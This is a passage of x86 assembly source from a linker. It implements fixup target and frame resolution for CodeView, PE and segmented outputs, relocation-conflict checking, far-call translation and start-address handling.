MOV FIX2_TFRAME_SEG,EBX
SUB ECX,EDX ;NEED JUST OFFSET FROM SEGMENT_GINDEX
if fg_cvpack
MOV DL,FIX2_SEG_TYPE
GETT BL,CVPACK_FLAG
AND DL,MASK SEG_CV_SYMBOLS1
MOV BH,[EAX]._SM_FLAGS
AND DL,BL
JZ L1$
AND BH,MASK SEG_CLASS_IS_CODE
JZ L1$
;
;CODESEG, $$SYMBOLS, CVPACK. IF IT AIN'T MY CODESEG, ADD 8000H TO NUMBER
;
PUSH ECX
CALL GET_SM_MODULE ;EAX IS SEGMOD PHYSICAL, RETURN EAX IS PARENT MODULE GINDEX
POP ECX
MOV EBX,CURNMOD_GINDEX
CMP EBX,EAX
JZ L1$
OR FIX2_TFRAME_SEG,8000H
L1$:
endif
MOV EDX,FIX2_TOFFSET
MOV AL,[EDI]._SEG_TYPE
ADD ECX,EDX
XOR EBX,EBX ;CLEAR CARRY
MOV FIX2_OS2_TFLAGS,EBX
MOV FIX2_TOFFSET,ECX
POPM EBX,EDI
RET
TARG_SEGMOD_CV ENDP
if fg_pe
TARG_SEGMOD_CV32 PROC NEAR
;
;EAX IS SEGMOD GINDEX
;
CONVERT EAX,EAX,SEGMOD_GARRAY
ASSUME EAX:PTR SEGMOD_STRUCT
PUSH EDI
MOV EDI,[EAX]._SM_BASE_SEG_GINDEX
CONVERT EDI,EDI,SEGMENT_GARRAY
ASSUME EDI:PTR SEGMENT_STRUCT
PUSH EBX
MOV ECX,[EAX]._SM_START ;OFFSET FROM FRAME
MOV EDX,[EDI]._SEG_PEOBJECT_NUMBER
MOV FIX2_TFRAME_SEG,EDX ;FRAME IS SEGMENT_GINDEX
if fg_cvpack
MOV DL,FIX2_SEG_TYPE
GETT BL,CVPACK_FLAG
AND DL,MASK SEG_CV_SYMBOLS1
MOV BH,[EAX]._SM_FLAGS
AND DL,BL
JZ L1$
AND BH,MASK SEG_CLASS_IS_CODE
JZ L1$
;
;CODESEG, $$SYMBOLS, CVPACK. IF IT AIN'T MY CODESEG, ADD 8000H TO NUMBER
;
PUSH ECX
CALL GET_SM_MODULE
MOV EBX,CURNMOD_GINDEX
POP ECX
CMP EBX,EAX
JZ L1$
OR FIX2_TFRAME_SEG,8000H
L1$:
endif
MOV EDX,[EDI]._SEG_PEOBJECT_GINDEX
MOV EAX,PE_BASE
TEST EDX,EDX
JZ L9$
CONVERT EDX,EDX,PE_OBJECT_GARRAY
ASSUME EDX:PTR PE_OBJECT_STRUCT
SUB ECX,EAX
MOV EAX,[EDX]._PEOBJECT_RVA ;NEED JUST OFFSET FROM SEGMENT_GINDEX
MOV EDX,FIX2_TOFFSET
SUB ECX,EAX
ADD ECX,EDX
MOV AL,[EDI]._SEG_TYPE
MOV FIX2_TOFFSET,ECX
OR AH,AH ;CLEAR CARRY
L9$:
POPM EBX,EDI
MOV FIX2_OS2_TFLAGS,0
RET
TARG_SEGMOD_CV32 ENDP
endif
TARG_GROUP_NORMAL PROC NEAR
;
;EAX IS GROUP GINDEX
;
CONVERT EAX,EAX,GROUP_GARRAY
ASSUME EAX:PTR GROUP_STRUCT
MOV EDX,[EAX]._G_FIRST_SEG_GINDEX
MOV ECX,[EAX]._G_OFFSET
MOV FIX2_SEG_GINDEX,EDX
MOV EDX,FIX2_TOFFSET
ADD EDX,ECX
MOV ECX,[EAX]._G_OS2_NUMBER
MOV FIX2_TOFFSET,EDX
MOV EDX,[EAX]._G_OS2_FLAGS
MOV FIX2_OS2_TNUMBER,ECX
MOV FIX2_OS2_TFLAGS,EDX
MOV AL,[EAX]._G_TYPE ;FOR CHECKING RELOC VS ASEG
OR ECX,ECX ;CLEAR CARRY
RET
TARG_GROUP_NORMAL ENDP
TARG_GROUP_CV PROC NEAR
;
;EAX IS GROUP GINDEX
;
CONVERT EAX,EAX,GROUP_GARRAY ;CODEVIEW DOESN'T SUPPORT GROUP STUFF...
ASSUME EAX:PTR GROUP_STRUCT
MOV ECX,[EAX]._G_FIRST_SEG_GINDEX
MOV AL,[EAX]._G_TYPE
TEST ECX,ECX
JZ L1$
CONVERT ECX,ECX,SEGMENT_GARRAY
ASSUME ECX:PTR SEGMENT_STRUCT
MOV ECX,[ECX]._SEG_CV_NUMBER
L1$:
XOR EDX,EDX
MOV FIX2_TFRAME_SEG,ECX
MOV FIX2_OS2_TFLAGS,EDX
RET
TARG_GROUP_CV ENDP
if fg_pe
TARG_GROUP_CV32 PROC NEAR
;
;EAX IS GROUP GINDEX
;
CONVERT EAX,EAX,GROUP_GARRAY
ASSUME EAX:PTR GROUP_STRUCT
MOV ECX,[EAX]._G_FIRST_SEG_GINDEX
MOV AL,[EAX]._G_TYPE ;FOR CHECKING RELOC VS ASEG
TEST ECX,ECX
JZ L1$
CONVERT ECX,ECX,SEGMENT_GARRAY
ASSUME ECX:PTR SEGMENT_STRUCT
MOV ECX,[ECX]._SEG_PEOBJECT_NUMBER
L1$:
XOR EDX,EDX ;CLEAR CARRY
MOV FIX2_OS2_TFLAGS,EDX
MOV FIX2_TFRAME_SEG,ECX
RET
TARG_GROUP_CV32 ENDP
endif
TARG_ASEG_NORMAL PROC NEAR
TARG_ASEG_CV::
;
;EAX IS PARAGRAPH - SELECTOR FOR SEGM MODE
;
if fg_segm
GETT CL,OUTPUT_SEGMENTED
XOR EDX,EDX
TEST CL,CL
JNZ L5$
endif
SHL EAX,4
MOV ECX,FIX2_TOFFSET
ADD ECX,EAX
MOV FIX2_OS2_TNUMBER,EAX
MOV FIX2_TOFFSET,ECX
MOV FIX2_OS2_TFLAGS,EDX
MOV AL,MASK SEG_ASEG
OR ECX,ECX ;CLEAR CARRY
MOV FIX2_SEG_GINDEX,EDX
RET
if fg_segm
L5$:
MOV FIX2_OS2_TNUMBER,EAX
MOV FIX2_OS2_TFLAGS,EDX
MOV AL,MASK SEG_ASEG
OR ECX,ECX
RET
endif
TARG_ASEG_NORMAL ENDP
TARG_EXTERNAL_CV PROC NEAR
;
;EAX IS SYMBOL GINDEX
;
CONVERT EAX,EAX,SYMBOL_GARRAY
ASSUME EAX:PTR SYMBOL_STRUCT
XOR EDX,EDX
MOV CL,[EAX]._S_NSYM_TYPE
MOV EBX,[EAX]._S_SEG_GINDEX
MOV FIX2_OS2_TFLAGS,EDX
TEST EBX,EBX
JZ L1$
CONVERT EBX,EBX,SEGMENT_GARRAY
ASSUME EBX:PTR SEGMENT_STRUCT
MOV EDX,[EBX]._SEG_CV_NUMBER
MOV EDI,[EAX]._S_OFFSET ;TOTAL OFFSET
L1$:
MOV FIX2_TFRAME_SEG,EDX
CMP CL,NSYM_RELOC ;NORMALLY RELOC
JZ L2$
CMP CL,NSYM_CONST
JZ L3$
CMP CL,NSYM_ASEG
JNZ L8$
L2$:
if fg_cvpack
MOV EAX,[EAX]._S_DEFINING_MOD
MOV EDX,CURNMOD_GINDEX
CMP EDX,EAX
JZ L25$
GETT AL,CVPACK_FLAG
MOV DL,FIX2_SEG_TYPE
OR AL,AL
JZ L25$
AND DL,MASK SEG_CV_SYMBOLS1
JZ L25$
OR FIX2_TFRAME_SEG,8000H
L25$:
endif
;
;USE NORMAL ADDRESS
;
SUB EDI,[EBX]._SEG_OFFSET ;NEED OFFSET FROM GINDEX
L3$:
AND ECX,NSYM_ANDER
MOV EAX,FIX2_TOFFSET
SHR ECX,1
ADD EAX,EDI
MOV FIX2_TOFFSET,EAX
MOV AL,FIX2_EXT_TYPE_XLAT[ECX]
RET
L8$:
OR [EAX]._S_REF_FLAGS,MASK S_REFERENCED
STC
RET
TARG_EXTERNAL_CV ENDP
if fg_pe
TARG_EXTERNAL_CV32 PROC NEAR
;
;EAX IS SYMBOL GINDEX
;
CONVERT EAX,EAX,SYMBOL_GARRAY
ASSUME EAX:PTR SYMBOL_STRUCT
XOR EDX,EDX
MOV CL,[EAX]._S_NSYM_TYPE
MOV EBX,[EAX]._S_SEG_GINDEX
MOV FIX2_OS2_TFLAGS,EDX
TEST EBX,EBX
JZ L1$
CONVERT EBX,EBX,SEGMENT_GARRAY
ASSUME EBX:PTR SEGMENT_STRUCT
MOV EDX,[EBX]._SEG_PEOBJECT_NUMBER
MOV EBX,[EBX]._SEG_PEOBJECT_GINDEX
L1$:
MOV EDI,[EAX]._S_OFFSET
MOV FIX2_TFRAME_SEG,EDX
CMP CL,NSYM_RELOC ;NORMALLY RELOC
JZ L2$
CMP CL,NSYM_CONST
JZ L3$
CMP CL,NSYM_ASEG
JNZ L8$
L2$:
if fg_cvpack
MOV EAX,[EAX]._S_DEFINING_MOD
MOV EDX,CURNMOD_GINDEX
CMP EDX,EAX
JZ L25$
GETT AL,CVPACK_FLAG
MOV DL,FIX2_SEG_TYPE
OR AL,AL
JZ L25$
AND DL,MASK SEG_CV_SYMBOLS1
JZ L25$
OR FIX2_TFRAME_SEG,8000H
L25$:
endif
;
;USE NORMAL ADDRESS
;
CONVERT EBX,EBX,PE_OBJECT_GARRAY
ASSUME EBX:PTR PE_OBJECT_STRUCT
MOV EDX,[EBX]._PEOBJECT_RVA
MOV EBX,PE_BASE
SUB EDI,EDX
SUB EDI,EBX
L3$:
AND ECX,NSYM_ANDER
MOV EAX,FIX2_TOFFSET
SHR ECX,1
ADD EAX,EDI
MOV FIX2_TOFFSET,EAX
MOV AL,FIX2_EXT_TYPE_XLAT[ECX]
RET
L8$:
OR [EAX]._S_REF_FLAGS,MASK S_REFERENCED
STC
RET
TARG_EXTERNAL_CV32 ENDP
endif
TARG_EXTERNAL_NORMAL PROC NEAR
;
;EAX IS SYMBOL GINDEX
;
CONVERT EAX,EAX,SYMBOL_GARRAY
MOV ECX,DPTR [EAX]._S_NSYM_TYPE
GETT DL,OUTPUT_SEGMENTED
if fg_segm OR fg_pe
CMP CL,NSYM_IMPORT
JZ L5$ ;IMPORTED
endif
CMP CL,NSYM_RELOC
JZ L2$
if fg_segm
AND CH,MASK S_FLOAT_SYM
JNZ L6$
L61$:
endif
CMP CL,NSYM_CONST
JZ L39$
CMP CL,NSYM_ASEG
JZ L39$
OR [EAX]._S_REF_FLAGS,MASK S_REFERENCED
MOV FIX2_OS2_TFLAGS,0
STC
RET
L2$:
L39$:
MOV EDX,[EAX]._S_SEG_GINDEX
MOV EBX,[EAX]._S_OFFSET ;TOTAL OFFSET FROM SEGMENT
MOV FIX2_SEG_GINDEX,EDX
MOV EDX,FIX2_TOFFSET
AND ECX,NSYM_ANDER
ADD EDX,EBX
SHR ECX,1
MOV EBX,[EAX]._S_OS2_NUMBER
MOV FIX2_TOFFSET,EDX
MOV EDI,[EAX]._S_OS2_FLAGS
if fg_pe OR fg_segm
GETT AL,OUTPUT_PE
GETT DL,OUTPUT_SEGMENTED
OR AL,DL
JNZ L41$
endif
SHL EBX,4 ;THIS ZEROS DX FIRST...
L41$:
MOV FIX2_OS2_TFLAGS,EDI
MOV FIX2_OS2_TNUMBER,EBX
OR EBX,EBX
MOV AL,FIX2_EXT_TYPE_XLAT[ECX]
RET
if fg_segm OR fg_pe
L5$:
if fg_pe
GETT DH,OUTPUT_PE
MOV CL,NSYM_RELOC
TEST DH,DH
JNZ L2$
endif
;
;TARGET IS AN IMPORTED SYMBOL...
;
XOR EDX,EDX
AND CH,MASK S_IMP_ORDINAL
MOV ECX,[EAX]._S_IMP_NOFFSET ;NAME OFFSET
JZ L53$
INC EDX
MOV ECX,[EAX]._S_IMP_ORDINAL
L53$:
MOV EBX,[EAX]._S_IMP_MODULE ;MODULE #
MOV FIX2_IMP_OFFSET,ECX
MOV FIX2_IMP_MODULE,EBX
MOV EBX,MASK SR_1 ;MARK IT IMPORTED (AVAILABLE FLAG...)
MOV FIX2_IMP_FLAGS,EDX
MOV FIX2_OS2_TFLAGS,EBX
MOV AL,MASK SEG_RELOC
OR ECX,ECX ;CLEAR CARRY
RET
endif
if fg_segm
L6$:
if fg_norm_exe
TEST DL,DL ;OUTPUT_SEGMENTED
JZ L61$
endif
MOV AL,BPTR [EAX]._S_FLOAT_TYPE
if fg_winpack
GETT DL,WINPACK_SELECTED
endif
AND EAX,7
JZ L7$ ;JUST USE ZEROS
if fg_winpack
CMP AL,6
JNZ L65$
TEST DL,DL
JNZ L67$
L65$:
endif
XOR ECX,ECX
MOV FIX2_IMP_OFFSET,EAX ;BASE.LW OR FIX2_IMP_OFFSET
MOV FIX2_IMP_MODULE,ECX ;BASE.HW OR FIX2_IMP_MODULE
MOV EAX,MASK SR_1 ;AVAILABLE FLAG...
MOV FIX2_IMP_FLAGS,ECX ;OS2_NUMBER (IMPORT_FLAGS)
MOV FIX2_OS2_TFLAGS,EAX ;MARK IT IMPORTED FOR SPECIAL TREATMENT
MOV AL,MASK SEG_CONST
RET
if fg_winpack
L67$:
MOV ECX,0A23DH
MOV FIX2_IMP_OFFSET,EAX ;BASE.LW OR FIX2_IMP_OFFSET
MOV FIX2_TOFFSET,ECX
XOR EAX,EAX
JMP L8$
endif
L7$:
MOV FIX2_IMP_OFFSET,EAX ;BASE.LW OR FIX2_IMP_OFFSET
L8$:
MOV FIX2_OS2_TNUMBER,EAX ;IGNORE THESE AS CONSTANT ZERO
MOV FIX2_OS2_TFLAGS,EAX
MOV AL,MASK SEG_CONST
RET
endif
TARG_EXTERNAL_NORMAL ENDP
FRAME_LOC PROC NEAR
;
;
;
MOV EAX,FIX2_LDATA_SEGMENT_GINDEX
FRAME_LOC ENDP
FRAME_SEGMENT PROC NEAR
;
;EAX IS GINDEX OF A SEGMENT
;
CONVERT EAX,EAX,SEGMENT_GARRAY
ASSUME EAX:PTR SEGMENT_STRUCT
MOV ECX,[EAX]._SEG_OS2_NUMBER
; MOV EDX,[EAX]._SEG_OS2_FLAGS
MOV AL,[EAX]._SEG_TYPE
OR EBX,EBX ;CLEAR CARRY
RET
FRAME_SEGMENT ENDP
FRAME_GROUP PROC NEAR
;
;EAX IS GINDEX OF GROUP
;
CONVERT EAX,EAX,GROUP_GARRAY
ASSUME EAX:PTR GROUP_STRUCT
MOV ECX,[EAX]._G_OS2_NUMBER
; MOV EDX,[EAX]._G_OS2_FLAGS
MOV AL,[EAX]._G_TYPE
OR EBX,EBX ;CLEAR CARRY
RET
FRAME_GROUP ENDP
FRAME_ABSOLUTE PROC NEAR
;
;
;
MOV ECX,EAX
if fg_segm
GETT AL,OUTPUT_SEGMENTED
OR AL,AL
JNZ L5$
endif
SHL ECX,4
L5$:
MOV AL,MASK SEG_ASEG
OR EDX,EDX ;CLEAR CARRY
RET
FRAME_ABSOLUTE ENDP
FRAME_EXTERNAL PROC NEAR
;
;THIS SHOULD BE SUPER-RARE?
;
CONVERT EAX,EAX,SYMBOL_GARRAY
ASSUME EAX:PTR SYMBOL_STRUCT
MOV EDX,DPTR [EAX]._S_NSYM_TYPE
if fg_segm
CMP DL,NSYM_IMPORT
JZ L5$ ;IMPORTED, USE ASEG ZERO
AND DH,MASK S_FLOAT_SYM
JNZ L5$
L61$:
endif
CMP DL,NSYM_RELOC
JZ L2$
CMP DL,NSYM_CONST
JZ L39$
CMP DL,NSYM_ASEG
JZ L39$
OR [EAX]._S_REF_FLAGS,MASK S_REFERENCED
STC
RET
L5$:
XOR ECX,ECX
MOV AL,MASK SEG_CONST+MASK SEG_ASEG
RET
L2$:
L39$:
AND EDX,NSYM_ANDER
MOV ECX,[EAX]._S_OS2_NUMBER
SHR EDX,1
if fg_segm
GETT AL,OUTPUT_SEGMENTED
OR AL,AL
JNZ L41$
endif
SHL ECX,4
L41$:
MOV AL,FIX2_EXT_TYPE_XLAT[EDX]
OR ECX,ECX
RET
FRAME_EXTERNAL ENDP
FRAME_TARG PROC NEAR
;
;
;
MOV AL,FIX2_TTYPE
MOV ECX,FIX2_OS2_TNUMBER
; MOV EDX,FIX2_OS2_TFLAGS
OR EAX,EAX ;CLEAR CARRY
RET
FRAME_TARG ENDP
if fg_segm
DO_IMPORT PROC NEAR
;
;TARGET STUFF IS AN IMPORT SYMBOL, CH IS FLAGS, CL IS FIXTYPE
;
;IF ADDITIVE, INSERT A NEW REFERENCE, ELSE TRY LINK LIST
;
;MUST IT BE ADDITIVE?
;
MOV EAX,FIX2_IMP_FLAGS
MOV DL,2
TEST AL,AL ;ZERO IS IMPORT-BY-NAME
JZ L1$
DEC EDX ;MUST BE IMPORT BY NUMBER
L1$:
ADD EDI,EBX
OR CH,DL
MOV EAX,FIX2_LDATA_LOC
MOV EDX,FIX2_IMP_MODULE
ADD EAX,EBX ;TARGET LOGICAL ADDRESS
MOV EBX,FIX2_IMP_OFFSET
;ES:DI IS PHYS_PTR
;AX IS OFFSET IN SEGMENT
;BX IS _RL_IMP_OFFSET
;CL IS FIXUPP TYPE
;CH IS FIXUPP FLAGS
;DX IS _RL_IMP_MODULE
;
JMP RELOC_INSTALL ;DO RELOCATION
DO_IMPORT ENDP
endif
if fg_segm
DO_INTERNAL PROC NEAR
;
;TARGET STUFF IS AN INTERNAL, CH IS FLAGS, CL IS FIXTYPE
;
ADD EDI,EBX
XOR EDX,EDX
XCHG DX,WPTR [EDI]
ADD EAX,EDX
MOV EDX,FIX2_LDATA_LOC
ADD EBX,EDX
MOV EDX,EAX
MOV EAX,EBX
MOV EBX,EDX
MOV EDX,FIX2_OS2_TNUMBER
;ES:DI IS PHYS_PTR
;AX IS OFFSET IN SEGMENT
;BX IS TARGET SEGMENT OFFSET
;CL IS FIXUPP TYPE
;CH IS FIXUPP FLAGS
;DX IS TARGET SEGMENT #
;
JMP RELOC_INSTALL ;DO RELOCATION
DO_INTERNAL ENDP
endif
RELOCATION_CHECK PROC
;
;EAX IS ADDRESS
;
PUSH EBX
MOV DL,FIX2_LD_TYPE
AND DL,MASK BIT_LI
JNZ L9$
MOV ECX,DPTR FIX2_LD_LENGTH
POP EBX
AND ECX,0FFFFH
REL_CHK_LIDATA LABEL PROC
;
;EAX IS STARTING ADDRESS, ECX IS NUMBER OF BYTES
;
;
;QUICK CHECK WOULD BE IF BX:AX IS ABOVE RELOC_HIGH_WATER
;
PUSH EBX
MOV EDX,FIX2_STACK_DELTA
MOV EBX,FIX2_SM_START
ADD EAX,EDX
MOV EDX,RELOC_HIGH_WATER
SUB EAX,EBX
MOV EBX,FIRST_RELOC_GINDEX
CMP EDX,EAX
JBE L9$
;
;SEE IF THIS OVERLAPS ANY RELOCATION RECORDS
;
TEST EBX,EBX
JZ L9$ ;HOME FREE, NO RELOCS THIS SEGMENT
;
;MORE DIFFICULT, NEED TO CHECK BITMAP...
;AX IS FIRST BIT TO CHECK, FIX2_LD_LENGTH IS PROBABLY #
;OF BITS TO CHECK
;
POP EBX
SPECIAL_RELOC_CHECK LABEL PROC
;
;AX IS FIRST BIT TO CHECK, CX IS NUMBER OF BITS
;
PUSHM EBX,EDI
PUSH EAX
MOV EBX,EAX
SHR EAX,3
MOV EDI,RELOC_BITS
PUSH ECX
ADD EDI,EAX
;
;DI IS BIT #
;CX IS # OF BITS
;
;GET TO A BYTE BOUNDARY
;
AND EBX,7
JZ L55$ ;ALREADY A BYTE BOUNDARY
MOV EAX,EBX
MOV EBX,ECX
MOV ECX,EAX
MOV AL,BYTE PTR[EDI]
SHR AL,CL
SUB CL,8
INC EDI
NEG CL ;# OF BITS TO CHECK IN THIS BYTE
L51$:
DEC EBX
JS L8$
SHR AL,1
JC L7$
DEC ECX
JNZ L51$
MOV ECX,EBX
L55$:
MOV EDX,ECX
XOR EAX,EAX
SHR ECX,3 ;CX IS # OF BYTES TO CHECK
JZ L551$
REPE SCASB
L551$:
MOV AL,BYTE PTR[EDI]
JNZ L7$
OR AL,AL
JZ L8$
AND EDX,7 ;# OF BITS TO CHECK
JZ L8$
L56$:
SHR AL,1
JC L7$
DEC EDX
JNZ L56$
L8$:
POPM ECX,EAX
POP EDI
L9$:
POP EBX
RET
L7$:
;
;PRESERVE DS:SI
;
;CONFLICT WITH PREVIOUS RELOCATIONS...
;
MOV ECX,FIX2_LDATA_SEGMENT_GINDEX
MOV AL,RELOC_CONFLICT_ERR
CONVERT ECX,ECX,SEGMENT_GARRAY
ASSUME ECX:PTR SEGMENT_STRUCT
ADD ECX,SEGMENT_STRUCT._SEG_TEXT
CALL ERR_ASCIZ_RET
JMP L8$
RELOCATION_CHECK ENDP
DO_FARCALL_FIXUPPS PROC
;
;THIS IS LIST OF POSSIBLE FARCALLTRANSLATIONS
;
XOR EAX,EAX
MOV FIX2_LDATA_BASE,EAX
MOV LDATA_SEGMOD_GINDEX,EAX
MOV FIX2_LDATA_SEGMENT_GINDEX,EAX
MOV FIXUPP_COUNT,EAX
CMP FIRST_FARCALL,EAX
JZ L91$
if debug
MOV EAX,OFF FARCALL_MSG
CALL SAY_VERBOSE
endif
;
MOV ESI,FIRST_FARCALL
L1$:
TEST ESI,ESI
JZ L9$
L2$:
MOV EDI,OFF FIX2_FIXUPP_STUFF
ASSUME ESI:PTR FARCALL_HEADER_TYPE
ASSUME EDI:PTR FARCALL_HEADER_TYPE
MOV ECX,[ESI]._FC_NEXT_FARCALL
MOV EAX,[ESI]._FC_SEGMOD_GINDEX
MOV [EDI]._FC_NEXT_FARCALL,ECX
MOV [EDI]._FC_SEGMOD_GINDEX,EAX
MOV EAX,[ESI]._FC_LENGTH
MOV ECX,[ESI]._FC_BLOCK_BASE
ADD ESI,SIZEOF FARCALL_HEADER_TYPE
MOV [EDI]._FC_LENGTH,EAX
MOV [EDI]._FC_BLOCK_BASE,ECX
ASSUME ESI:NOTHING,EDI:NOTHING
ADD EAX,ESI
MOV FIX2_LDATA_BASE,ECX
MOV FIX2_FIXUPP_EOR,EAX
;
;SET UP SEGMENT, ETC
;
MOV EAX,FIX2_FC_SEGMOD_GINDEX
MOV ECX,LDATA_SEGMOD_GINDEX
CMP ECX,EAX
JNZ L4$
L51$:
CALL DO_FF_1
L56$:
MOV ESI,FIX2_FH_NEXT_FIXUPP
MOV EAX,FIX2_LDATA_BASE
TEST ESI,ESI
JZ L8$
ASSUME ESI:PTR FARCALL_HEADER_TYPE
MOV ECX,[ESI]._FC_BLOCK_BASE
CMP EAX,ECX
JZ L2$
TEST EAX,EAX
JZ L1$
CALL RELEASE_BLOCK
JMP L1$
L8$:
CALL RELEASE_BLOCK
L9$:
if debug
MOV EAX,OFF FARCALLFINI_MSG
CALL SAY_VERBOSE
endif
L91$:
MOV EAX,FIXUPP_COUNT
MOV ECX,FIRST_SECTION_GINDEX
TEST EAX,EAX
JZ L99$
CONVERT ECX,ECX,SECTION_GARRAY
ASSUME ECX:PTR SECTION_STRUCT
SUB [ECX]._SECT_RELOCS,EAX
L99$:
RET
L4$:
;
;SEGMOD CHANGED
;
PUSH ESI
MOV LDATA_SEGMOD_GINDEX,EAX
CONVERT EAX,EAX,SEGMOD_GARRAY
ASSUME EAX:PTR SEGMOD_STRUCT
MOV ESI,EAX
ASSUME ESI:PTR SEGMOD_STRUCT
CALL GET_SM_MODULE
GETT CL,ENTRIES_POSSIBLE
MOV CURNMOD_GINDEX,EAX
OR CL,CL
JNZ L45$
L44$:
MOV AL,[ESI]._SM_PLTYPE
TEST AL,MASK LEVEL_0_SECTION
JZ L55$
L45$:
MOV EAX,[ESI]._SM_BASE_SEG_GINDEX
MOV ECX,FIX2_LDATA_SEGMENT_GINDEX
TEST EAX,EAX ;SKIP IF FROM AN UNREFERENCED COMDAT...
JZ L55$
CMP ECX,EAX
JZ L52$
L5$:
MOV FIX2_LDATA_SEGMENT_GINDEX,EAX
CONVERT ESI,EAX,SEGMENT_GARRAY
ASSUME ESI:PTR SEGMENT_STRUCT
MOV EDI,OFF FIX2_SEGMENT_STUFF
MOV ECX,(SIZE SEGMENT_STRUCT+3)/4
REP MOVSD
ASSUME ESI:NOTHING
L52$:
if fg_segm
GETT CL,ENTRIES_POSSIBLE
POP ESI
GETT DL,PROTMODE
MOV EAX,FIX2_SEG_OS2_FLAGS
OR CL,CL
JZ L51$
;
;HMM, THIS IS FOR PENTS
;
OR DL,DL
JZ L51$
;
;IGNORE IF ITS A COMDAT THAT BECAME IOPL-NONCONFORMING-CODE
;
TEST EAX,MASK SR_CONF+1
JNZ L51$
TEST EAX,1 SHL SR_DPL
JZ L51$
endif
L55$:
XOR EAX,EAX
POP ECX
MOV LDATA_SEGMOD_GINDEX,EAX
JMP L56$
DO_FARCALL_FIXUPPS ENDP
DO_FF_1 PROC NEAR
;
;
;
MOV EAX,[ESI]
ADD ESI,4
AND EAX,0FFFFH
CALL PARSE_FIXUPP2
GETT AL,ENTRIES_POSSIBLE
JC L8$
if fg_segm
OR AL,AL
JZ L3$
MOV EAX,[ESI]
ADD ESI,4
MOV LATEST_PENT_GINDEX,EAX
L3$:
endif
;
;SO, GO AHEAD AND DO FIXUPP
;
if fg_segm
GETT AL,OUTPUT_SEGMENTED
OR AL,AL
JZ L5$
MOV EAX,FIX2_OS2_TNUMBER
MOV ECX,FIX2_SEG_OS2_NUMBER
CMP ECX,EAX
JNZ L7$
JMP L6$
endif
L5$:
;
;FRAME MUST MATCH FRAME OF LDATA_LOC
;
MOV EAX,FIX2_SEG_FRAME
MOV EBX,FIX2_FFRAME
CMP EAX,EBX
JNZ L7$
CMP EAX,FIX2_TFRAME
JNZ L7$
L6$:
INC FIXUPP_COUNT
if fg_segm
MOV EAX,LATEST_PENT_GINDEX
TEST EAX,EAX
JZ L7$
CONVERT EAX,EAX,PENT_GARRAY
ASSUME EAX:PTR PENT_STRUCT
DEC [EAX]._PENT_REF_COUNT
endif
L7$:
CMP FIX2_FIXUPP_EOR,ESI
JA DO_FF_1
RET
L8$:
if fg_segm
OR AL,AL
JZ L7$
ADD ESI,4
JMP L7$
endif
DO_FF_1 ENDP
RELINK_DATA_BACKWARDS PROC NEAR
;
;RELINK THIS LIST IN OPPOSITE DIRECTION...
;
MOV ESI,FIX2_SM_FIRST_DAT
ASSUME ESI:PTR LDATA_HEADER_TYPE
XOR EBX,EBX
TEST ESI,ESI
JZ L9$
L1$:
MOV EAX,[ESI]._LD_NEXT_LDATA
MOV [ESI]._LD_NEXT_LDATA,EBX
MOV EBX,ESI
MOV ESI,EAX
TEST EAX,EAX
JNZ L1$
L9$:
MOV FIX2_SM_FIRST_DAT,EBX
RET
ASSUME ESI:NOTHING
RELINK_DATA_BACKWARDS ENDP
if any_overlays
SI_FIXER PROC NEAR
;
;
;
CMP SI,PAGE_SIZE
JAE 1$
RET
1$:
SUB SI,PAGE_SIZE-BLOCK_BASE
MOV DS,DX
SYM_CONV_DS
RET
SI_FIXER ENDP
endif
HANDLE_START_ADDRESS PROC NEAR
;
;HANDLE START ADDRESS FIXUPP IF THERE, WARN IF MISSING...
;
MOV ESI,MODEND_ADDRESS
OR ESI,ENTRYPOINT_GINDEX
if debug
JZ L0$
MOV EAX,OFF START_MSG
CALL SAY_VERBOSE
L0$:
TEST ESI,ESI
endif
JZ L5$
SETT DOING_START_ADDRESS
MOV EAX,MODEND_OWNER_GINDEX
XOR ECX,ECX
MOV CURNMOD_GINDEX,EAX
MOV FIX2_FIXUPP_BASE,ECX ;OR RELEASED
if fg_norm_exe
MOV FIX2_LDATA_PTR,OFF EXEHEADER._EXE_REG_IP
endif
MOV EAX,ENTRYPOINT_GINDEX
OR EAX,EAX
JZ L1$
MOV FIX2_TINDEX,EAX
XOR ECX,ECX
MOV FIX2_OFFSET,ECX
MOV FIX2_TOFFSET,ECX
MOV FIX2_TT,2 ;SYMBOL
MOV FIX2_FF,5 ;FRAME TARG
MOV FIX2_LOC,13H ;16:16
CALL TARG_EXTERNAL_NORMAL
MOV FIX2_TTYPE,AL
CALL FRAME_TARG
MOV FIX2_FTYPE,AL
MOV FIX2_OS2_FNUMBER,ECX
MOV ESI,OFF TEMP_DATA_RECORD
MOV FIX2_FIXUPP_EOR,ESI ;FAKE END OF RECORD
JMP L14$
L1$:
MOV ESI,MODEND_ADDRESS
MOV EAX,[ESI]
ADD ESI,4
ADD EAX,ESI
MOV FIX2_FIXUPP_EOR,EAX
CALL DOF_PRELIM
;
;
L14$:
MOV AL,FIX2_TTYPE
OR AL,FIX2_FTYPE
TEST AL,MASK SEG_ASEG
JZ L15$
if fg_rom
BITT OUTPUT_ABS
JNZ L15$
endif
MOV AL,START_ERR
CALL ERR_RET
L15$:
MOV FIX2_TTYPE,MASK SEG_ASEG ;NO RELOCATION...
MOV FIX2_FTYPE,MASK SEG_ASEG
BITT SYMBOL_UNDEFINED
JZ L2$
JMP L8$
L5$:
;
;DON'T COMPLAIN IF .DLL
;
if fg_segm OR fg_pe
TEST FLAG_0C,MASK APPTYPE
JNZ L52$
endif
MOV AL,NO_START_ERR
CALL WARN_RET
L52$:
JMP L9$
L2$:
if fg_pe
BITT OUTPUT_PE
JZ L29$
TEST FIX2_OS2_TFLAGS,MASK SR_1
JNZ START_IMPORT
MOV EAX,FIX2_TOFFSET
SUB EAX,PE_BASE
MOV PEXEHEADER._PEXE_ENTRY_RVA,EAX
JMP L8$
L29$:
endif
if fg_segm
L3$:
BITT OUTPUT_SEGMENTED
JZ L39$
MOV EAX,FIX2_OS2_TNUMBER ;TARGET SEGMENT MUST EQUAL
CMP FIX2_OS2_FNUMBER,EAX ;FRAME SEGMENT
JNZ L31$
MOV WPTR NEXEHEADER._NEXE_CSIP+2,AX
TEST FIX2_OS2_TFLAGS,MASK SR_1
JNZ START_IMPORT
MOV EAX,FIX2_TOFFSET
MOV WPTR NEXEHEADER._NEXE_CSIP,AX
JMP L8$
L31$:
MOV AL,START_CANT_REACH_ERR
L33$:
CALL ERR_RET
JMP L8$
START_IMPORT:
MOV AL,START_IMPORT_ERR
JMP L33$
L39$:
endif
if fg_norm_exe
L4$:
BITT FARCALLTRANSLATION_FLAG
JZ L41$
RESS FARCALLTRANSLATION_FLAG
CALL DOFIXUPPS_MODEND
SETT FARCALLTRANSLATION_FLAG
JMP L49$
L41$:
